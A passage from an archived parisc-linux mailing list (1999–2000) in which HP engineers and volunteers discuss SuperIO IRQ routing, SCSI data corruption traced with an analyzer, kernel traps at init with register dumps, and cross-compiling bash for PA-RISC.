BTW, I suggest suckyio get it's own IRQ region to manage the 8259's.
Here are more notes:

 *      Most interrupt sources can be routed (or mapped) to interrupt pins on
 *      the 8259.  The available pins are (15-14, 12-9, 7-3, 1).  The following
 *      pins are dedicated.
 *
 *              Timer Out0        Channel 0
 *              8259 cascade      Channel 2
 *              Real-Time Clock   Channel 8
 *              Coprocessor Error Channel 13
 *
 *
 *      There are only 6 interrupt sources supported at this time.  These
 *      take up all the available interrupt sources on the master 8259.  The
 *      slave mode code has not been tested completely because we do not use
 *      it.  Note that the interrupt sources are given fixed interrupt routing.


FYI - The 8259 "fixed" routing used by HPUX is below.
Though I have the impression PNP code could be used to assign
IRQ lines if one doesn't want another LASI-like IRQ scheme.

   switch (obj->suio_device_id) {
      case SUPERIO_ID_UART1:
        obj->suio_irq = 3;
        break;

      case SUPERIO_ID_UART2:
        obj->suio_irq = 4;
        break;

      case SUPERIO_ID_FDC:
        obj->suio_irq = 6;
        break;

      case SUPERIO_ID_PARALLEL:
        obj->suio_irq = 5;
        break;

      case SUPERIO_ID_USB:
        obj->suio_irq = 1;
        break;

      case SUPERIO_ID_IDE:
        obj->suio_irq = 7;       /* XXX IDE has two channels? */
        break;

      default:
        VASSERT(0 == 1);
    }


> > We'll end duplicating much of what's in the generic PCI code basically.
> > You can understand why I might be less than enthusiastic about this idea.
> 
> Yes.  OK, better idea: we can do the quirk fixup in the PCI_FIXUP_FINAL
> pass instead of the PCI_FIXUP_HEADER pass.  This is called after the bus
> fixup code has set ->irq.  Of course, this might be completely the wrong
> thing to do... I really need to know the answer to the above question.

This does sound better given suckyio doesn't support INTERRUPT_PIN.

The fixup code could use Function 2 INTERRUPT_LINE to determine which
iosapic input line is being used (instead of assuming line 0). I'm thinking
we need to add another iosapic_fixup()-like interface so PCI quirks code
will correctly register suckyio's INTERRUPT_LINE. I'm trying to keep the
method iosapic virtualizes IRQs with private to iosapic.c.

thanks,
grant


From - Thu Nov 08 21:14:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A180 Ignition Howto
Date: Wed, 12 May 1999 16:13:27 PDT
Lines: 23
Approved: news@gmane.org
Message-ID: <199905130018.RAA28058@chrome.rose.hp.com>
References: <Pine.LNX.3.96.990511194053.3178B-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619471 9388 80.91.229.3 (22 Nov 2014 01:24:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:31 +0000 (UTC)
To: adevries@redhat.com (Alex deVries)
Original-X-From: kirkb@chrome.rose.hp.com  Wed May 12 18:18:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA16012
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 May 1999 18:18:02 -0600
Original-Received: (qmail 10339 invoked by uid 15267); 13 May 1999 00:17:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10329 invoked from network); 13 May 1999 00:17:37 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 13 May 1999 00:17:37 -0000
Original-Received: from chrome.rose.hp.com (kirkb@chrome.rose.hp.com [15.8.150.209])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id UAA17402
	for <parisc-linux@thepuffingroup.com>; Wed, 12 May 1999 20:17:37 -0400 (EDT)
Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.7.3) id RAA28058 for parisc-linux@thepuffingroup.com; Wed, 12 May 1999 17:18:42 -0700 (PDT)
Resent-From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Resent-Message-Id: <199905130018.RAA28058@chrome.rose.hp.com>
Resent-To: parisc-linux@thepuffingroup.com
Resent-Date: Wed, 12 May 1999 17:18:41 PDT
In-Reply-To: <Pine.LNX.3.96.990511194053.3178B-100000@devserv.devel.redhat.com>; from "Alex deVries" at May 11, 99 7:46 pm
Xref: news.gmane.org gmane.linux.ports.parisc:9013

Linuxen, 

| 
| Incidentally, Christopher Beard told me over lunch that he got the kernel
| building under HPUX, which would solve the linking problems we were
| worried about.
| 

I have been kibbitzing your efforts and have also been building the kernel
under HP-UX 10.20. I actually ran into a problem with gcc 2.8.1 generating
code that wouldn't assemble. I traced the problem to re-definition of .SUBSPA
parameters and hacked gas to ignore the problem. One question I have is 
what are you configuring into the compile? When all was said and done I was
able to leave in only SCSI and serial and generate all the objects.

KMB
--
+============================================================+
|       Kirk Bresniker    	(916) 785-5677		     |
|       8000 Foothills Blvd                                  |
|       Roseville, CA 95747-5649                             |
|       kirkb@rose.hp.com                                    |


From - Thu Nov 08 21:14:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dd and 2k transfers on A500
Date: Tue, 26 Dec 2000 15:18:29 -0800
Lines: 179
Approved: news@gmane.org
Message-ID: <200012262318.PAA22509@milano.cup.hp.com>
References: <200012230110.RAA20271@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619471 9395 80.91.229.3 (22 Nov 2014 01:24:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:31 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Dec 26 16:14:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA05106
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Dec 2000 16:14:10 -0700
Original-Received: (qmail 16945 invoked by uid 15267); 26 Dec 2000 23:17:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16938 invoked from network); 26 Dec 2000 23:17:19 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 26 Dec 2000 23:17:19 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 247EC5C8
	for <parisc-linux@thepuffingroup.com>; Tue, 26 Dec 2000 15:17:18 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id PAA22509
	for <parisc-linux@thepuffingroup.com>; Tue, 26 Dec 2000 15:18:32 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 22 Dec 2000 17:10:05 PST."
             <200012230110.RAA20271@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9014


So I'm able to reproduce the problem on c3k/32-bit.

Grant Grundler wrote:
> It seems like we start reading from the wrong 1k block
> on the disk - assuming the data is really coming from disk.
> If so, I should be able to capture this with a SCSI analyzer.
> I'll try that next week.

Captured the incoming data w/SCSI analyzer and it's correct.
We are reading the correct data from disk but doesn't match what
ends up in the "bad" versions of the destination file. 

Another data point: while every other dd bs=2k gets corrupted, it's
every fourth transfer for dd bs=2560/3k/3584.
data corruption seems to occur when size hits/crosses 4k alignment.

> I very suspicous of generic kernel since the data is placed wrong
> by a 1k offset, the same size linux uses internally.

1k could just be an artifact of the scatter/gather list handed
to SBA code and SBA code is botching the merging of entries somehow.
I don't want to say this is an SBA bug until I find it.
But it looks alot more like it now. :^(

SCSI analyser output is appended in case anyone is curious.
Note I've programmed the analyzer to only capture the first 8 DATA
and ignore the rest.  Also note there are *no* filesystem writes.
The filesystem I'm dumping the data to is on the same SCSI bus.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


SCSI STATE  -  State Listing


Label    > DATA_   Time        Phase  SCSI mnemonic
Base     >  Hex  Relative                        Hex
__________ _____ _________ ________________________________________________

   -131     0080           Arbitrate ID=07
   -130     00A0  2.592 us Select Atn ID=05
   -129     00C0  3.520 us Msgout Atn Identify Disconnect, Logical=0
   -128     0020  1.424 us Msgout Atn Simple Queue Tag=37H
   -127     0037  1.000 us Msgout 37H
   -126     0028  3.472 us Commd  Read (10 byte)
   -125     0000    624 ns Commd  Lu=0
   -124     0000    432 ns Commd  Logical Block Addr=00000000H
   -123     0000    424 ns Commd
   -122     0000    424 ns Commd
   -121     0000    424 ns Commd
   -120     0000    424 ns Commd
   -119     0000    424 ns Commd  Transfer Length=0004H
   -118     0004    424 ns Commd
   -117     0000    424 ns Commd
   -116     0004  5.344 us Msg_in Disconnect
   -115     0000    856 ns Bus Free
   -114     0020  16.76 ms Arbitrate ID=05
   -113     00A0  1.536 us Reselect ID=07
   -112     0080  13.62 us Msg_in Identify No Disconnect Logical=0
   -111     0020    864 ns Msg_in Simple Queue Tag=37H
   -110     0037  4.976 us Msg_in 37H
   -109     3420  2.192 us Dat_in 3420H   DBP1=0 DBP=0
   -108     0518     56 ns Dat_in 0518H   DBP1=1 DBP=1
   -107     20E0     48 ns Dat_in 20E0H   DBP1=0 DBP=0
   -106     222E     48 ns Dat_in 222EH   DBP1=1 DBP=1
   -105     3420     48 ns Dat_in 3420H   DBP1=0 DBP=0
   -104     0528     56 ns Dat_in 0528H   DBP1=1 DBP=1
   -103     20E0     48 ns Dat_in 20E0H   DBP1=0 DBP=0
   -102     7220     48 ns Dat_in 7220H   DBP1=1 DBP=0
   -101     0000  67.28 us Status Good
   -100     0000  4.336 us Msg_in Command Complete
    -99     0000    856 ns Bus Free
    -98     0080  356.4 ms Arbitrate ID=07
    -97     00A0  2.616 us Select Atn ID=05
    -96     00C0  3.592 us Msgout Atn Identify Disconnect, Logical=0
    -95     0020  1.352 us Msgout Atn Simple Queue Tag=39H
    -94     0039    976 ns Msgout 39H
    -93     0028  3.472 us Commd  Read (10 byte)
    -92     0000    552 ns Commd  Lu=0
    -91     0000    424 ns Commd  Logical Block Addr=00000000H
    -90     0000    424 ns Commd
    -89     0000    424 ns Commd
    -88     0000    424 ns Commd
    -87     0000    432 ns Commd
    -86     0000    424 ns Commd  Transfer Length=0004H
    -85     0004    424 ns Commd
    -84     0000    424 ns Commd
    -83     0004  5.440 us Msg_in Disconnect
    -82     0000    856 ns Bus Free
    -81     0020  3.001 ms Arbitrate ID=05
    -80     00A0  1.488 us Reselect ID=07
    -79     0080  13.59 us Msg_in Identify No Disconnect Logical=0
    -78     0020    832 ns Msg_in Simple Queue Tag=39H
    -77     0039  4.992 us Msg_in 39H
    -76     3420  2.184 us Dat_in 3420H   DBP1=0 DBP=0
    -75     0518     48 ns Dat_in 0518H   DBP1=1 DBP=1
    -74     20E0     56 ns Dat_in 20E0H   DBP1=0 DBP=0
    -73     222E     48 ns Dat_in 222EH   DBP1=1 DBP=1
    -72     3420     48 ns Dat_in 3420H   DBP1=0 DBP=0
    -71     0528     48 ns Dat_in 0528H   DBP1=1 DBP=1
    -70     20E0     56 ns Dat_in 20E0H   DBP1=0 DBP=0
    -69     7220     48 ns Dat_in 7220H   DBP1=1 DBP=0
    -68     0000  67.21 us Status Good
    -67     0000  4.312 us Msg_in Command Complete
    -66     0000    856 ns Bus Free
    -65     0080  350.4 ms Arbitrate ID=07
    -64     00A0  2.592 us Select Atn ID=05
    -63     00C0  3.512 us Msgout Atn Identify Disconnect, Logical=0
    -62     0020  1.424 us Msgout Atn Simple Queue Tag=3BH
    -61     003B  1.000 us Msgout 3BH
    -60     0028  3.480 us Commd  Read (10 byte)
    -59     0000    624 ns Commd  Lu=0
    -58     0000    424 ns Commd  Logical Block Addr=00000000H
    -57     0000    424 ns Commd
    -56     0000    424 ns Commd
    -55     0000    424 ns Commd
    -54     0000    432 ns Commd
    -53     0000    424 ns Commd  Transfer Length=0004H
    -52     0004    424 ns Commd
    -51     0000    424 ns Commd
    -50     0004  5.336 us Msg_in Disconnect
    -49     0000    856 ns Bus Free
    -48     0020  8.956 ms Arbitrate ID=05
    -47     00A0  1.544 us Reselect ID=07
    -46     0080  13.62 us Msg_in Identify No Disconnect Logical=0
    -45     0020    880 ns Msg_in Simple Queue Tag=3BH
    -44     003B  5.064 us Msg_in 3BH
    -43     3420  2.184 us Dat_in 3420H   DBP1=0 DBP=0
    -42     0518     56 ns Dat_in 0518H   DBP1=1 DBP=1
    -41     20E0     48 ns Dat_in 20E0H   DBP1=0 DBP=0
    -40     222E     48 ns Dat_in 222EH   DBP1=1 DBP=1
    -39     3420     48 ns Dat_in 3420H   DBP1=0 DBP=0
    -38     0528     56 ns Dat_in 0528H   DBP1=1 DBP=1
    -37     20E0     48 ns Dat_in 20E0H   DBP1=0 DBP=0
    -36     7220     48 ns Dat_in 7220H   DBP1=1 DBP=0
    -35     0000  67.48 us Status Good
    -34     0000  4.312 us Msg_in Command Complete
    -33     0000    784 ns Bus Free
    -32     0080  354.2 ms Arbitrate ID=07
    -31     00A0  2.592 us Select Atn ID=05
    -30     00C0  3.536 us Msgout Atn Identify Disconnect, Logical=0
    -29     0020  1.400 us Msgout Atn Simple Queue Tag=3DH
    -28     003D  1.000 us Msgout 3DH
    -27     0028  3.472 us Commd  Read (10 byte)
    -26     0000    632 ns Commd  Lu=0
    -25     0000    424 ns Commd  Logical Block Addr=00000000H
    -24     0000    424 ns Commd
    -23     0000    424 ns Commd
    -22     0000    424 ns Commd
    -21     0000    424 ns Commd
    -20     0000    424 ns Commd  Transfer Length=0004H
    -19     0004    432 ns Commd
    -18     0000    424 ns Commd
    -17     0004  5.312 us Msg_in Disconnect
    -16     0000    776 ns Bus Free
    -15     0020  5.147 ms Arbitrate ID=05
    -14     00A0  1.496 us Reselect ID=07
    -13     0080  13.67 us Msg_in Identify No Disconnect Logical=0
    -12     0020    848 ns Msg_in Simple Queue Tag=3DH
    -11     003D  4.968 us Msg_in 3DH
    -10     3420  2.208 us Dat_in 3420H   DBP1=0 DBP=0
     -9     0518     48 ns Dat_in 0518H   DBP1=1 DBP=1
     -8     20E0     48 ns Dat_in 20E0H   DBP1=0 DBP=0
     -7     222E     48 ns Dat_in 222EH   DBP1=1 DBP=1
     -6     3420     56 ns Dat_in 3420H   DBP1=0 DBP=0
     -5     0528     48 ns Dat_in 0528H   DBP1=1 DBP=1
     -4     20E0     48 ns Dat_in 20E0H   DBP1=0 DBP=0
     -3     7220     48 ns Dat_in 7220H   DBP1=1 DBP=0
     -2     0000  67.51 us Status Good
     -1     0000  4.304 us Msg_in Command Complete
      0     0000    864 ns Bus Free

Time Printed: 26 Dec 2000 14:30:36  ---  Time Acquired: 26 Dec 2000 14:26:37


From - Thu Nov 08 21:14:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Same boot problem on a 9000/720/50 HP machine as on 712/60 of Niskanen
Date: Wed, 27 Dec 2000 02:07:11 +0100
Organization: private
Lines: 37
Approved: news@gmane.org
Message-ID: <3A4940BF.3EB18F61@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619471 9402 80.91.229.3 (22 Nov 2014 01:24:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:31 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: christoph.plattner@dot.at  Tue Dec 26 18:04:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA06342
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Dec 2000 18:04:07 -0700
Original-Received: (qmail 2234 invoked by uid 15267); 27 Dec 2000 01:07:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2216 invoked from network); 27 Dec 2000 01:07:15 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 27 Dec 2000 01:07:15 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-012.dot.at [212.9.128.52])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id CAA04457
	for <parisc-linux@thepuffingroup.com>; Wed, 27 Dec 2000 02:09:26 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9015

On my 9000/720 (I have it since one week) I have the same problem
booting the CD 0.5
or
a selfbuild kernel. The kernel boots, but on calling the
init a trap is called with the text:

handle_interruption() pid=1 command='init'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001011
r0-3     00000000 000c0f38 00033a1b 000c0f3c
r4-7     000c0f38 ffffffff 00000001 0002a1d8
r8-11    c02ac640 00000000 00000000 c0145f30
r12-15   00000000 00000000 00000000 00000000
r16-19   c027b60c 00000000 c02ac000

and so on, running in a loop.


The code is in kernel/traps.c

Further I tried to build a statically linked bash-2.03,
but I had problems setting up the build process to produce
a HP PARISC user program. What I have to do to setup or
prepare default source trees for cross building (the
compiler runs....)

Cheers

	Christoph Plattner


-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:14:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Same boot problem on a 9000/720/50 HP machine as 
 on 712/60 of Niskanen
Date: Tue, 26 Dec 2000 18:27:41 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <20001227012741.A150937C97@carmen.fc.hp.com>
References: <3A4940BF.3EB18F61@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619472 9411 80.91.229.3 (22 Nov 2014 01:24:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: taggart@carmen.fc.hp.com  Tue Dec 26 18:22:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA06551
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Dec 2000 18:22:38 -0700
Original-Received: (qmail 15785 invoked by uid 15267); 27 Dec 2000 01:25:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15778 invoked from network); 27 Dec 2000 01:25:47 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 27 Dec 2000 01:25:47 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 2084E884; Tue, 26 Dec 2000 20:25:47 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id A150937C97; Tue, 26 Dec 2000 18:27:41 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Your message of "Wed, 27 Dec 2000 02:07:11 +0100."
             <3A4940BF.3EB18F61@dot.at> 
Xref: news.gmane.org gmane.linux.ports.parisc:9016


Christoph Plattner writes...

> On my 9000/720 (I have it since one week) I have the same problem
> booting the CD 0.5
> or
> a selfbuild kernel. The kernel boots, but on calling the
> init a trap is called with the text:
> 
> handle_interruption() pid=1 command='init'
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001011
> r0-3     00000000 000c0f38 00033a1b 000c0f3c
> r4-7     000c0f38 ffffffff 00000001 0002a1d8
> r8-11    c02ac640 00000000 00000000 c0145f30
> r12-15   00000000 00000000 00000000 00000000
> r16-19   c027b60c 00000000 c02ac000
> 
> and so on, running in a loop.

Yes, several people(myself included) saw this. IIRC a newer kernel fixes it.

> The code is in kernel/traps.c
> 
> Further I tried to build a statically linked bash-2.03,
> but I had problems setting up the build process to produce
> a HP PARISC user program. What I have to do to setup or
> prepare default source trees for cross building (the
> compiler runs....)

Which compiler are you using? You can grab a prebuilt hppa cross-compiler 
(that runs on i386-linux) at,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-latest.tar.gz

bash is particularly hard to build. I was able to get the debian package to 
cross compile using the dpkg-cross tool and by making a few changes to the 
source tree. I still need to test the binary, if it works I'll post it.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] another trap 28
Date: Tue, 26 Dec 2000 17:33:45 -0800 (PST)
Lines: 32
Approved: news@gmane.org
Message-ID: <200012270133.RAA22789@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619472 9412 80.91.229.3 (22 Nov 2014 01:24:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Dec 26 18:29:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA06910
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Dec 2000 18:29:21 -0700
Original-Received: (qmail 20839 invoked by uid 15267); 27 Dec 2000 01:32:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20828 invoked from network); 27 Dec 2000 01:32:31 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 27 Dec 2000 01:32:31 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 4AD55C99
	for <parisc-linux@thepuffingroup.com>; Tue, 26 Dec 2000 17:32:30 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id RAA22789
	for parisc-linux@thepuffingroup.com; Tue, 26 Dec 2000 17:33:45 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:9017


Not sure this is worth pursueing...just in case someone else runs
into the same problem.

[-1071975368]: Unaligned data reference 28

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111110000001010
r0-3     00000000 c027f801 c01b06a4 c02d54ec
r4-7     dfdf1600 00000040 00000000 c02d5000
r8-11    00000080 dffee278 00000080 00000001
r12-15   dffee288 00023a50 00000040 0000ffff
r16-19   df613c3f 00000001 0000b71b 00000140
r20-23   00000040 00000040 00000000 0000000b
r24-27   00010000 00000600 c02d5000 c025c001
r28-31   c027f801 01093c9d df6143c0 c01af438
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c01b2178 c01b217c
 IIR: 4b930308    ISR: 00000000  IOR: c027f985
ORIG_R28: 00000007
die_if_kernel recursion detected.

0xc01b2178 scsi_free+18
0xc01b06a4 scsi_io_completion+a4
0xc01af438 scsi_old_done+26c



grant


From - Thu Nov 08 21:14:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Same boot problem on a 9000/720/50 HP machine as 
 on 712/60 of Niskanen
Date: Tue, 26 Dec 2000 21:34:46 -0700
Lines: 80
Approved: news@gmane.org
Message-ID: <20001227043446.6DCFD37C97@carmen.fc.hp.com>
References: <3A4940BF.3EB18F61@dot.at>  <20001227012741.A150937C97@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619473 9415 80.91.229.3 (22 Nov 2014 01:24:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:33 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@dot.at>
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Tue Dec 26 21:29:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA07985
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Dec 2000 21:29:47 -0700
Original-Received: (qmail 9175 invoked by uid 15267); 27 Dec 2000 04:32:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9163 invoked from network); 27 Dec 2000 04:32:52 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 27 Dec 2000 04:32:52 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 724D350C; Tue, 26 Dec 2000 23:32:51 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 6DCFD37C97; Tue, 26 Dec 2000 21:34:46 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matt Taggart <taggart@carmen.fc.hp.com> 
   of "Tue, 26 Dec 2000 18:27:41 MST." <20001227012741.A150937C97@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9018


Matt Taggart writes...

[snip init looping]

> Yes, several people(myself included) saw this. IIRC a newer kernel fixes it.
> 
> > Further I tried to build a statically linked bash-2.03,
> > but I had problems setting up the build process to produce
> > a HP PARISC user program. What I have to do to setup or
> > prepare default source trees for cross building (the
> > compiler runs....)
> 
> Which compiler are you using? You can grab a prebuilt hppa cross-compiler 
> (that runs on i386-linux) at,
> 
> ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-latest.tar.gz
> 
> bash is particularly hard to build. I was able to get the debian package to 
> cross compile using the dpkg-cross tool and by making a few changes to the 
> source tree. I still need to test the binary, if it works I'll post it.

Ok, I got bash to build static against the glibc in the xc and I setup an 
nfsroot with bash as my init. I am using a new kernel built with the same xc. 
Here's what I get when booting,

-----------------------------------------------------------------------------
.
.
.
IP-Config: Got BOOTP answer from 15.1.51.72, my address is 15.1.51.73
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
kmem_create: Forcing size word alignment - nfs_fh
Looking up port of RPC 100003/2 on 15.1.51.72
Looking up port of RPC 100005/2 on 15.1.51.72
VFS: Mounted root (nfs filesystem) readonly.

do_page_fault() pid=1 command='init' address=0xfffffff8
vm_start = 0xbb000000, vm_end = 0xbb002000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001011
r0-3     00000000 001071d0 00088153 fffffff8
r4-7     bb0002c8 00000023 00000000 0000003a
r8-11    00001368 00000000 000d6884 c01456a4
r12-15   00000000 00000000 00000000 00000000
r16-19   c027b60c c02ac000 00000000 00000001
r20-23   000e3848 000e384c 01010101 80808080
r24-27   000e3828 00000023 00000000 000fd9d0
r28-31   00000022 0000000a bb000480 0008d443
sr0-3    00000000 00000000 00000000 00000001
sr4-7    00000001 00000001 00000001 00000001

IASQ: 00000001 00000001 IAOQ: 00068697 0006869b
 IIR: 0c601084    ISR: 00000001  IOR: fffffff8
ORIG_R28: 00000003
-----------------------------------------------------------------------------

and it keeps looping with that same error.

The bash I'm using is at

ftp://puffin.external.hp.com/pub/parisc/debug/bash-20001226.tar.gz

The xc I'm using is at

ftp://puffin.external.hp.com/pub/parisc/debug/xc-20001222.tar.gz

I think the kernel and libc have different world views. I can provide 
different bits on request.

Any ideas?

-- 
Matt Taggart
taggart@fc.hp.com





From - Thu Nov 08 21:14:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
